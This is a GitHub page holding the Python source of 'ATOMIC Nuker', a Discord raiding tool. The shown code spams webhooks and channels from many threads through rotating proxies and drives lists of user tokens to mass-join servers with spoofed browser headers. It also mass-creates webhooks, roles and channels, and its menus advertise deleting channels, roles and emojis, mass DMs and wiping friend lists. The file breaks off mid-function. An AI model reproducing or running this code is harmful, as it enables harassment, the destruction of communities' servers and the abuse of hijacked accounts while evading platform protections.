-
Notifications
You must be signed in to change notification settings - Fork 20
/
Copy pathmain.py
1548 lines (1464 loc) · 71.1 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
from pystyle import *
import os
# from colorama import *
import asyncio
import requests as req
import sys
import random
import time
from fake_useragent import UserAgent
from threading import Thread
from aiohttp import ClientSession
import base64
from datetime import datetime
System.Clear()
System.Title("ATOMIC - By M. logique")
lllll = ['proxies.txt', 'webhooks.txt', 'tokens.txt']
if not os.path.exists('./Atomic'):
os.system('md Atomic')
with open('./Atomic/useragents.txt', 'w') as file:
ua = UserAgent()
file.write('\n'.join([ua.random for _ in range(50)]))
elif os.path.exists('./Atomic') and not os.path.exists('./Atomic/useragents.txt'):
with open('./Atomic/useragents.txt', 'w') as file:
ua = UserAgent()
file.write('\n'.join([ua.random for _ in range(50)]))
else:
with open('./Atomic/useragents.txt', 'w') as file:
ua = UserAgent()
file.write('\n'.join([ua.random for _ in range(50)]))
for i in lllll:
# else:
if not os.path.exists(i):
open(i, 'x').close()
intro = '''
. .
.n . . n.
. .dP dP 9b 9b. .
4 qXb . dX Xb . dXp t
dX. 9Xb .dXb __ __ dXb. dXP .Xb
9XXb._ _.dXXXXb dXXXXbo. .odXXXXb dXXXXb._ _.dXXP
9XXXXXXXXXXXXXXXXXXXVXXXXXXXXOo. .oOXXXXXXXXVXXXXXXXXXXXXXXXXXXXP
`9XXXXXXXXXXXXXXXXXXXXX'~ ~`OOO8b d8OOO'~ ~`XXXXXXXXXXXXXXXXXXXXXP'
`9XXXXXXXXXXXP' `9XX' ATOMIC `98v8P' NUKER `XXP' `9XXXXXXXXXXXP'
~~~~~~~ 9X. .db|db. .XP ~~~~~~~
)b. .dbo.dP'`v'`9b.odb. .dX(
,dXXXXXXXXXXXb dXXXXXXXXXXXb.
dXXXXXXXXXXXP' . `9XXXXXXXXXXXb
dXXXXXXXXXXXXb d|b dXXXXXXXXXXXXb
9XXb' `XXXXXb.dX|Xb.dXXXXX' `dXXP
`' 9XXXXXX( )XXXXXXP `'
XXXX X.`v'.X XXXX
XP^X'`b d'`X^XX
X. 9 ` ' P )X
`b ` ' d'
` '
> Press Enter
'''
def print_logo():
System.Clear()
banner = '''
█████╗ ████████╗ █████╗ ███╗ ███╗██╗ █████╗
██╔══██╗╚══██╔══╝██╔══██╗████╗ ████║██║██╔══██╗
███████║ ██║ ██║ ██║██╔████╔██║██║██║ ╚═╝ by M. logique
██╔══██║ ██║ ██║ ██║██║╚██╔╝██║██║██║ ██╗
██║ ██║ ██║ ╚█████╔╝██║ ╚═╝ ██║██║╚█████╔╝
╚═╝ ╚═╝ ╚═╝ ╚════╝ ╚═╝ ╚═╝╚═╝ ╚════╝
> github.com/M-logique'''
b = Colorate.Vertical(Colors.DynamicMIX((Col.green, Col.light_green, Col.yellow)), Center.XCenter(banner))
# Write.Print(text=banner, interval=0.0005, color=Colors._)
print(b)
print()
def print_(text):
Write.Print(f'\n {text}', Colors.yellow_to_green, interval=0.01)
def input_():
return input(f'{Col.yellow}\n >>> {Colors.reset}') or 'Bruh'
def print_err(err):
print('\n {0}[-]{1} {2}'.format(Col.red, Col.yellow, err), end=f'{Colors.reset}')
def print_success(err):
print('\n {0}[+]{1} {2}'.format(Col.green, Col.yellow, err), end=f'{Colors.reset}')
async def bomb(bbb=list):
kh = []
for i in bbb:
if i.endswith('\n'):
kh.append(i.split('\n')[0])
else: kh.append(i)
else:
return kh
def check(webhook):
try:
bomb = req.get(webhook)
if not bomb.status_code == 200:
return False
else:
bomb_json = bomb.json()
if not bomb_json['guild_id'] or not bomb_json['channel_id']:
return False
else: return bomb_json
except:
pass
def send_webhook(url=str, content=str, proxy=None):
try:
req.post(url=url,
json={"content": content, "username": "Atomic Nuker", "avatar_url": "https://media.discordapp.net/attachments/1054650838129332255/1153307620187312168/convert.png?width=402&height=402"}
,proxies=proxy)
print_success(url)
except: print_err(url)
def get_webhooks():
file = open('webhooks.txt', 'r')
webhooks = file.readlines()
kh = []
for i in webhooks:
if i.endswith('\n'):
kh.append(i.split('\n')[0])
else:
kh.append(i)
else:
file.close()
return kh
def random_useragent():
with open('./Atomic/useragents.txt', 'r') as file:
return "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36"
# This shit had bugs so i removed this
Anime.Fade(Center.Center(intro), Colors.yellow_to_green, Colorate.Vertical, interval=0.0035, enter=True)
async def webhookTools():
print_logo()
webhook_txt = '''
<< Webhooks Category >>
1. Spam with only 1 webhook
2. Spam with +1 webhooks (By using webhooks.txt)
3. Delete Webhook
4. Delete Webhooks (By using webhooks.txt)
5. Check Webhook
6. Check Webhooks (By using webhooks.txt)
7. Back to main menu
8. Exit
'''
Write.Print(webhook_txt, Colors.yellow_to_green, interval=0.003)
print_("[~/Webhooks] Choose an Option")
ch = input_()
n = [str(i) for i in range(1,9)]
if not ch in n:
await webhookTools()
elif ch == '8':
sys.exit()
elif ch == '7':
await main_menu()
if ch == '1':
print_logo()
print_('[=] Enter Webhook URL For Spam')
url = input_()
print_('[=] Enter Message For Spam')
message = input_()
print_('[=] Enter Spam Count')
count = input_()
print_('[??] Are you willing to use proxy? [Y, N] ')
proxy = input_()
if not url or not message or not count or not count.isalnum():
await webhookTools()
if not proxy or not proxy.lower().startswith('y'):
if check(url):
print_logo()
for i in range(int(count)):
Thread(target=send_webhook, args=(url, message, None), name=url).start()
else:
await webhookTools()
else:
await webhookTools()
else:
Write.Print('\n [??] How many proxies do you want to use? ', Colors.yellow_to_green, interval=0.01)
amount = input_()
if not amount or not amount.isalnum(): await webhookTools()
else:
try:
with open('proxies.txt', 'r') as file:
p = file.readlines()
if len(p) < 0:
await webhookTools()
p_ = []
for i in p:
if i.endswith('\n'):
p_.append(i.split('\n')[1])
else:
p_.append(i)
else:
print_logo()
print_('[!!] Checking proxies')
checked = []
for i in p_:
if len(checked) < int(amount):
try:
prs = {
"http": i,
"https": i
}
ip = req.get("https://api.myip.com", proxies=prs)
print_('Added 1 to checked list')
checked.append(i)
except:
print_err('Failed to Connect with this one')
else:
print_logo()
if len(checked) > 0:
for i in range(int(count)):
pr = random.choice(checked)
pr_ = {
"http": pr,
"https": pr
}
Thread(target=send_webhook, args=(url, message, pr_), name=url).start()
else:
time.sleep(3)
await webhookTools()
else: await webhookTools()
except:
await webhookTools()
if ch == '2':
w = get_webhooks()
if len(w) > 0:
webhooks = w
print_logo()
print_('[=] Enter Message for spam')
msg = input_()
print_("[=] Enter Spam count")
count = input_()
print_("[??] Are you willing to use proxy? [Y, N]")
proxy_usage = input_()
if not msg or not count or not count.isalnum() or not len(w) >0: await webhookTools()
else:
if not proxy_usage.lower().startswith('y'):
checked_hooks = []
print_('[!!] Checking Webhooks')
for i in webhooks:
if check(i):
checked_hooks.append(i)
else:
print_logo()
for i in range(int(count)):
for i in checked_hooks:
Thread(target=send_webhook, args=(i, msg, None), name=i).start()
else:
time.sleep(3)
await webhookTools()
else:
print_('[??] How many proxies do you want to use?')
amount = input_()
with open('proxies.txt', 'r') as file:
p = file.readlines()
if len(p) < 0:
await webhookTools()
p_ = []
for i in p:
if i.endswith('\n'):
p_.append(i.split('\n')[1])
else:
p_.append(i)
else:
print_logo()
checked = []
print_('[!!] Checking Proxies')
print()
for i in p_:
if len(checked) < int(amount):
try:
prs = {
"http": i,
"https": i
}
ip = req.get("https://api.myip.com", proxies=prs)
print_success(f'Added 1 to checked list {str(i)}')
checked.append(i)
except:
print_err(f'Failed To connect with this one')
else:
checked_hooks = []
print()
print_logo()
print_('[!!] Checking Webhooks')
for i in webhooks:
if check(i):
print_success(i)
checked_hooks.append(i)
else:
if len(checked) > 0:
print_logo()
print_(f'started spamming with {len(checked_hooks)} webhook(s)')
for i in range(int(count)):
p = random.choice(checked)
pr = {
"http": p,
"https": p
}
for i in checked_hooks:
Thread(target=send_webhook, args=(i, msg, pr), name=i).start()
else:
time.sleep(round(int(count)/4))
await webhookTools()
else: await webhookTools()
else: await webhookTools()
elif ch == '3':
print_logo()
print_('[=] Enter the webhook that you want to delete it')
web = input_()
print_logo()
try:
req.delete(web)
print_success(f'Deleted {web}')
except:
print_err(f'Failed to delete {web}')
finally:
time.sleep(3)
await webhookTools()
elif ch == '4':
w = get_webhooks()
if len(w) > 0:
print_logo()
print_(f'[??] are you sure you want to delete {len(w)} webhook(s)? [Y, N]')
ch_ = input_()
if ch_.lower().startswith('y'):
print_logo()
print_(f'[!!] Started deleting {len(w)} webhook(s)')
for i in w:
try:
req.delete(i)
print_success(f'Deleted {i}')
except:
print_err(f'Failed to delete {i}')
else:
print_('[??] Do you want to remove "webhooks.txt" file? [Y, N]')
ch__ = input_()
if ch__.lower().startswith('y'):
try:
os.remove('webhooks.txt')
open('webhooks.txt', 'x').close()
except: pass
finally: await webhookTools()
else: await webhookTools()
else: await webhookTools()
else: await webhookTools()
elif ch == '5':
print_('[=] Enter the webhook that you want to check it')
url = input_()
print_logo()
if not check(url):
print_success('This webhook is invalid!')
else:
print_err('This webhook is valid')
time.sleep(3)
await webhookTools()
elif ch == '6':
webs = get_webhooks()
if len(webs) <0:
await webhookTools()
else:
print_logo()
print_(f'[!!] Started checking {len(webs)} webhook(s)')
print()
checked_hooks = []
for i in webs:
if check(i):
checked_hooks.append(i)
print_success(f'{i} i valid')
else:
print_err(f'{i} is invalid')
else:
if len(checked_hooks) > 0:
print_(f'[??] Do you want to save {len(checked_hooks)} valid webhook(s) in a new file? ')
yon = input_()
if yon.lower().startswith('y'):
with open('checked_webhooks.txt', 'w') as file:
file.write('\n'.join(checked_hooks))
print_('[!!] Saved!')
time.sleep(2)
await webhookTools()
else: await webhookTools()
else:
time.sleep(1)
await webhookTools()
else:
await webhookTools()
def leave_server(server_id, token):
headers = {
"User-Agent": random_useragent(),
"authorization": token
}
req.delete(url=f"https://discord.com/api/v9/users/@me/guilds/{server_id}",
headers=headers)
print_success(token)
def sendMessage(token, channel, msg, proxy=None):
r = req.post(url=f'https://discord.com/api/v9/channels/{channel}/messages',
headers={"Authorization": token,
"Content-Type": 'application/json',
"user-agent": random_useragent()
}, json={"content": msg})
print_success(f'Sent {token}') if r.status_code == 200 else print_err(token)
async def tokenTools():
def tokens():
with open('tokens.txt', 'r') as file:
tks = file.readlines()
kh = []
for i in tks:
if i.endswith('\n'):
kh.append(i.split('\n')[0])
else:
kh.append(i)
else: return kh
print_logo()
tokens_txt = '''
<< Tokens Category >>
>> Multi Token Raiding >> Single Token Nuking >> Account Nuking >> Tools
1. Spam in one channel 8. Webhook Spam Channels 15. Remove all friends 22. Check Token
2. Spam in all channels 9. Mass Create Roles 16. Block all friends 23. Check Tokens
3. Add Reaction to a Message 10. Mass Create channels 17. Leave all servers 24. Get Guild info
4. Join to a server 11. Delete all channels 18. Cycle Token Settings 25. Get Token Info
5. Leave a server 12. Delete all roles 19. Mass dm 26. Get Tokens Info
6. Change Nickname 13. Remove all Emojis 20. Close all Dms 27. Back to Main Menu
7. Change Status 14. Change server icon 21. Delete all personal guilds 28. Exit
'''
Write.Print(tokens_txt, Colors.yellow_to_green, interval=0.0005)
print_('[~/Tokens] Choose an Option')
ch = input_()
if not ch in [str(i) for i in range(1,29)]:
await tokenTools()
elif ch == '27':
await main_menu()
elif ch == '28':
sys.exit()
if ch == '1':
print_logo()
print_('[=] Enter the message that you want to spam with')
msg = input_()
print_('[=] Enter Channel ID For spam')
chid = input_()
print_('[=] How many times do you want to send spam message in this channel? ')
count = input_()
print_('[??] Are you willing to use proxies? [Y, N]')
pruse = input_()
if not pruse.lower().startswith('y'):
tks = tokens()
if len(tks) > 0:
print_logo()
for i in range(int(count)):
for token in tks:
Thread(target=sendMessage, args=(token, chid, msg, None), name=token).start()
else:
time.sleep(4)
await tokenTools()
else: await tokenTools()
else:
# print()
print_('[??] How many proxies do you want to use?')
p__ = input_()
# print_logo()
# print_('[!!] Checking proxies')
tks = tokens()
p_ = []
if p__.isalnum():
with open('proxies.txt', 'r') as file:
p = file.readlines()
for i in p:
if i.endswith('\n'):
p_.append(i.split('\n')[0])
else:
p_.append(i)
else:
checked = []
print_logo()
print_('[!!] Checking proxies')
for i in p_:
if len(checked) < int(p__):
try:
prs = {
"http": i,
"https": i
}
ip = req.get("https://api.myip.com", proxies=prs)
print_success(f'Added 1 to checked list {str(i)}')
checked.append(i)
except:
print_err(f'Failed To connect with this one')
else:
if len(checked) > 0:
if len(tks) > 0:
print_logo()
for i in range(int(count)):
for token in tks:
pr = random.choice(checked)
pr_ = {
"http": pr,
"https": pr
}
Thread(target=sendMessage, args=(token, chid, msg, pr_), name=token).start()
# except: print_err(token)
else:
time.sleep(round(int(count/4)))
await tokenTools()
else: await tokenTools()
else: await tokenTools()
else:
await tokenTools()
if ch == '2':
print_logo()
print_('[=] Enter the message that you want to spam with')
msg = input_()
print_('[=] Enter the server id for spam')
svid = input_()
print_('[??] How many times do you want to send spam message in channels?')
times = input_()
print_('[??] Are you willing to use proxy? [Y, N]')
prxy = input_()
tks = tokens()
if len(tks) > 0 and times.isalnum():
if not prxy.lower().startswith('y'):
print_logo()
print_('[!!] Started scrapping')
chs = []
for token in tks:
r = req.get(url=f'https://discord.com/api/v9/guilds/{svid}/channels',
headers={ "Authorization": token,
"user-agent": random_useragent(),
"Content-Type": 'application/json'})
if r.status_code == 200:
for chnl in r.json():
types = [0, 2, 13, 5]
if chnl['type'] in types and chnl['id'] not in chs:
chs.append(chnl['id'])
print_success(f'Added {chnl["id"]}')
else:
time.sleep(1)
print_logo()
for i in range(int(times)):
for ch in chs:
time.sleep(0.5)
for token in tks:
Thread(target=sendMessage, args=(token, ch, msg, None), name=token).start()
else:
time.sleep(4)
await tokenTools()
else:
p = []
with open('proxies.txt', 'r') as file:
p = await bomb(file.readlines())
print_('[??] How many proxies do you want to use?')
how_many = input_()
if how_many.isalnum() and len(p) > 0:
print_logo()
print_('[!!] Started checking proxies')
checked_proxies = []
for proxy in p:
sex = int(how_many)
if len(checked_proxies) < sex:
try:
req.get(url='https://api.myip.com',
proxies={ "http": proxy, "https": proxy})
checked_proxies.append(proxy)
print_success(f'Added 1 to checked list {proxy}')
except: print_err('Failed to connect with this one')
else:
time.sleep(1)
if len(checked_proxies) > 0:
print_logo()
print_('[!!] Started scrapping')
chs = []
for token in tks:
r = req.get(url=f'https://discord.com/api/v9/guilds/{svid}/channels',
headers={ "Authorization": token,
"user-agent": random_useragent(),
"Content-Type": 'application/json'})
if r.status_code == 200:
for chnl in r.json():
types = [0, 2, 13, 5]
if chnl['type'] in types and chnl['id'] not in chs:
chs.append(chnl['id'])
print_success(f'Added {chnl["id"]}')
else:
time.sleep(1)
print_logo()
for i in range(int(times)):
for ch in chs:
for token in tks:
try:
p = random.choice(checked_proxies)
p_ = { "http": p,
"https": p
}
Thread(target=sendMessage, args=(token, ch, msg, p_), name=token).start()
except Exception as err:
print_err(token)
# time.sleep(4)
else:
time.sleep(round(int(times/4)))
await tokenTools()
else: await tokenTools()
else: await tokenTools()
elif ch == '3':
print_logo()
print_('[=] Enter the channel id')
chid = input_()
print_('[=] Enter the message id')
msgid = input_()
print_('[=] Enter the emoji. (Normal Emojis or "ID" od )')
emoji_ = input_()
tks = tokens()
emoji = f'sex:{emoji_}' if emoji_.isalnum() else str(emoji_)
if len(tks) > 0:
print_logo()
for token in tks:
b = req.put(url=f'https://discord.com/api/channels/{chid}/messages/{msgid}/reactions/{emoji}/@me',
headers={ "Authorization": token,
"user-agent": random_useragent(),
"Content-Type": "application/json"})
if b.status_code == 204:
print_success(token)
else:
print_err(token)
else: await tokenTools()
else: await tokenTools()
if ch =='4':
print_logo()
print_('[=] Enter The invite code')
invite_code = input_()
print_('[??] Are you willing to use proxy? [Y, N]')
proxy_use = input_()
if not proxy_use.lower().startswith('y'):
if len(tokens()) > 0:
print_logo()
print_('[!!] Started Joining')
for token in tokens():
async with ClientSession() as session:
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0',
'Accept': '*/*',
'Accept-Language': 'fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3',
'Accept-Encoding': 'gzip, deflate, br',
'Content-Type': 'application/json',
'X-Context-Properties': 'eyJsb2NhdGlvbiI6IkpvaW4gR3VpbGQiLCJsb2NhdGlvbl9ndWlsZF9pZCI6Ijk4OTkxOTY0NTY4MTE4ODk1NCIsImxvY2F0aW9uX2NoYW5uZWxfaWQiOiI5OTAzMTc0ODgxNzg4NjgyMjQiLCJsb2NhdGlvbl9jaGFubmVsX3R5cGUiOjB9',
'Authorization': token,
'X-Super-Properties': 'eyJvcyI6IldpbmRvd3MiLCJicm93c2VyIjoiRmlyZWZveCIsImRldmljZSI6IiIsInN5c3RlbV9sb2NhbGUiOiJmciIsImJyb3dzZXJfdXNlcl9hZ2VudCI6Ik1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQ7IHJ2OjEwMi4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzEwMi4wIiwiYnJvd3Nlcl92ZXJzaW9uIjoiMTAyLjAiLCJvc192ZXJzaW9uIjoiMTAiLCJyZWZlcnJlciI6IiIsInJlZmVycmluZ19kb21haW4iOiIiLCJyZWZlcnJlcl9jdXJyZW50IjoiIiwicmVmZXJyaW5nX2RvbWFpbl9jdXJyZW50IjoiIiwicmVsZWFzZV9jaGFubmVsIjoic3RhYmxlIiwiY2xpZW50X2J1aWxkX251bWJlciI6MTM2MjQwLCJjbGllbnRfZXZlbnRfc291cmNlIjpudWxsfQ==',
'X-Discord-Locale': 'en-US',
'X-Debug-Options': 'bugReporterEnabled',
'Origin': 'https://discord.com',
'DNT': '1',
'Connection': 'keep-alive',
'Referer': 'https://discord.com',
'Cookie': '__dcfduid=21183630021f11edb7e89582009dfd5e; __sdcfduid=21183631021f11edb7e89582009dfd5ee4936758ec8c8a248427f80a1732a58e4e71502891b76ca0584dc6fafa653638; locale=en-US',
'Sec-Fetch-Dest': 'empty',
'Sec-Fetch-Mode': 'cors',
'Sec-Fetch-Site': 'same-origin',
'TE': 'trailers',
}
resp = await session.post(f"https://canary.discord.com/api/v9/invites/{invite_code}", headers=headers, json={})
if resp.status == 200:
print_success(f'Joined with {token}')
elif resp.status == 429:
print_err(f'Token {token} is rate limited')
elif resp.status == 403:
print_err(f'Locked Token {token}')
elif resp.status == 401:
print_err(f'Unauthorized {token} ')
else:
j = await resp.json()
print_err(f'{resp.status}, {j}')
else:
time.sleep(1)
await tokenTools()
else:
await tokenTools()
else:
print_('[??] How many proxies do you want to use?')
proxy_count = input_()
with open('proxies.txt', 'r') as file:
p = file.readlines()
p_ = []
for i in p:
if i.endswith('\n'):
p_.append(i.split('\n')[0])
else:
p_.append(i)
else:
checked = []
for i in p_:
if len(checked) < int(proxy_count):
try:
sex = {
"http": i,
"https": i
}
req.get(url='https://api.myip.com', proxies=sex)
print_success(i)
checked.append(i)
except:
print_err(i)
else:
if len(tokens()) > 0:
print_logo()
print_('[!!] Started Joining')
for token in tokens():
async with ClientSession() as session:
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0',
'Accept': '*/*',
'Accept-Language': 'fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3',
'Accept-Encoding': 'gzip, deflate, br',
'Content-Type': 'application/json',
'X-Context-Properties': 'eyJsb2NhdGlvbiI6IkpvaW4gR3VpbGQiLCJsb2NhdGlvbl9ndWlsZF9pZCI6Ijk4OTkxOTY0NTY4MTE4ODk1NCIsImxvY2F0aW9uX2NoYW5uZWxfaWQiOiI5OTAzMTc0ODgxNzg4NjgyMjQiLCJsb2NhdGlvbl9jaGFubmVsX3R5cGUiOjB9',
'Authorization': token,
'X-Super-Properties': 'eyJvcyI6IldpbmRvd3MiLCJicm93c2VyIjoiRmlyZWZveCIsImRldmljZSI6IiIsInN5c3RlbV9sb2NhbGUiOiJmciIsImJyb3dzZXJfdXNlcl9hZ2VudCI6Ik1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQ7IHJ2OjEwMi4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzEwMi4wIiwiYnJvd3Nlcl92ZXJzaW9uIjoiMTAyLjAiLCJvc192ZXJzaW9uIjoiMTAiLCJyZWZlcnJlciI6IiIsInJlZmVycmluZ19kb21haW4iOiIiLCJyZWZlcnJlcl9jdXJyZW50IjoiIiwicmVmZXJyaW5nX2RvbWFpbl9jdXJyZW50IjoiIiwicmVsZWFzZV9jaGFubmVsIjoic3RhYmxlIiwiY2xpZW50X2J1aWxkX251bWJlciI6MTM2MjQwLCJjbGllbnRfZXZlbnRfc291cmNlIjpudWxsfQ==',
'X-Discord-Locale': 'en-US',
'X-Debug-Options': 'bugReporterEnabled',
'Origin': 'https://discord.com',
'DNT': '1',
'Connection': 'keep-alive',
'Referer': 'https://discord.com',
'Cookie': '__dcfduid=21183630021f11edb7e89582009dfd5e; __sdcfduid=21183631021f11edb7e89582009dfd5ee4936758ec8c8a248427f80a1732a58e4e71502891b76ca0584dc6fafa653638; locale=en-US',
'Sec-Fetch-Dest': 'empty',
'Sec-Fetch-Mode': 'cors',
'Sec-Fetch-Site': 'same-origin',
'TE': 'trailers',
}
resp = await session.post(f"https://canary.discord.com/api/v9/invites/{invite_code}", headers=headers, json={}, proxy= random.choice(checked_proxies))
if resp.status == 200:
print_success(f'Joined with {token}')
elif resp.status == 429:
print_err(f'Token {token} is rate limited')
elif resp.status == 403:
print_err(f'Locked Token {token}')
elif resp.status == 401:
print_err(f'Unauthorized {token} ')
else:
j = await resp.json()
print_err(f'{resp.status}, {j}')
else:
time.sleep(1)
await tokenTools()
else: await tokenTools()
if ch == '5':
print_logo()
print_('[=] Enter server id')
server_id = input_()
if len(tokens()) > 0 and server_id.isalnum():
for token in tokens():
# print_success(token) if leave_server(server_id, token).status_code() == 204 else print_err(token)
Thread(target=leave_server, args=(server_id, token), name=token).start()
else:
time.sleep(1)
# input()
await tokenTools()
else: await tokenTools()
if ch == '6':
print_logo()
print_('[=] Enter the guild ID')
guilid = input_()
print_('[=] Enter the nickname')
nick = input_()
if guilid.isalnum() and len(tokens()) > 0:
print_logo()
for token in tokens():
headers = {
"Authorization": token,
"X-Audit-Log-Reason": 'Atomic Nuker',
"User-Agent": random_useragent(),
"Content-Type": 'application/json'
}
bb = req.patch(url=f"https://discord.com/api/v9/guilds/{guilid}/members/@me",
headers=headers,
json={ "nick": nick})
if bb.status_code == 200:
print_success(token)
else:
print_err(token)
else:
await tokenTools()
else: await tokenTools()
if ch == '7':
print_logo()
print_('[=] Enter the status text')
text = input_()
print_logo()
if len(tokens()) >0:
for token in tokens():
headers = {
"Authorization": token,
"User-Agent": random_useragent()
}
req.patch(url="https://discord.com/api/v8/users/@me/settings",
headers=headers,
json={ "custom_status": {"text": text, "emoji_name": "💊"}})
print_success(token)
else: await tokenTools()
if ch == '8':
print_logo()
ws = []
print_('[=] Enter the guild id')
guild_id = input_()
print_('[=] Enter message for spam')
msg = input_()
print_('[=] Enter Spam count')
count = input_()
print_('[??] How many Webhook(s) for each channel?')
wfec = input_()
print_logo()
if len(tokens()) > 0 and count.isalnum() and wfec.isalnum():
with open('proxies.txt', 'r') as file:
# proxy = random.choice(file.readlines()).strip() if len(file.readlines()) > 0 else None
proxy = None
chs = []
r = req.get(url=f'https://discord.com/api/v9/guilds/{guild_id}/channels',
headers={ "Authorization": tokens()[0],
"user-agent": random_useragent(),
"Content-Type": 'application/json'})
if r.status_code == 200:
for chnl in r.json():
types = [0, 2, 13, 5]
if chnl['type'] in types and chnl['id'] not in chs:
chs.append(chnl['id'])
print_success(f'Added {chnl["id"]}')
else:
if len(chs) > 0:
print_logo()
for channel in chs:
for i in range(int(wfec)):
try:
p = req.post(url=f'https://discord.com/api/channels/{channel}/webhooks',
headers={
"Authorization": tokens()[0],
"X-Audit-Log-Reason": "Atomic Nuker",
},
json={"name": "Atomic Nuker"})
# print(p.json())
ws.append(p.json()['url'])
print_success(p.json()['url'])
except: pass
else:
# with open('temp-webhooks.txt', 'r') as file:
if len(ws) >0:
print_logo()
for i in range(int(count)):
for webhook in ws:
# send_webhook()
Thread(target=send_webhook, args=(webhook, msg, None)).start()
else:
# file.close()
# os.remove('temp-webhooks.txt')
with open('webhooks.txt', 'a') as file:
file.write('\n'+'\n'.join(ws))
time.sleep(10)
await tokenTools()
else:
await tokenTools()
else: await tokenTools()
if ch == '9':
print_logo()
print_("[=] Enter Guild Id")
guild_id = input_()
print_("[=] Enter A Name for roles")
name = input_()
print_("[??] How many Roles do you want to create?")
count = input_()
if len(tokens()) >0 and count.isalnum():
print_logo()
print_(f"[!!] Started Creating {count} role(s)")
for i in range(int(count)):
bruh = req.post(url=f"https://discord.com/api/guilds/{guild_id}/roles",
headers={
"Authorization": tokens()[0],
"User-Agent": random_useragent(),
"X-Audit-Log-Reason": "Atomic Nuker"
},
json={
"name": name,
"color": random.randint(0, 16777215)
})
try:
print_success(f"Created {Col.green}{bruh.json()['id']}")
except:
print_err(f"Failed To Create role {Col.red}{name}")
# print(bruh.json())
# input()
else:
await tokenTools()
else:
await tokenTools()
if ch == '10':
print_logo()
print_("[=] Enter the guild id")
guild_id = input_()
print_("[=] Enter A Name for channels")
name = input_()
print_("[=] Enter a type for channels [text/voice]")
type_ = input_()
print_("[??] How many Channels do you want to create?")
count = input_()
if len(tokens()) > 0 and count.isalnum() and type_.strip() in ['text', 'voice']:
print_logo()
def create_channel(guild_id, name, type_):
b = req.post(url=f"https://discord.com/api/guilds/{guild_id}/channels",
headers={
"User-Agent": random_useragent(),
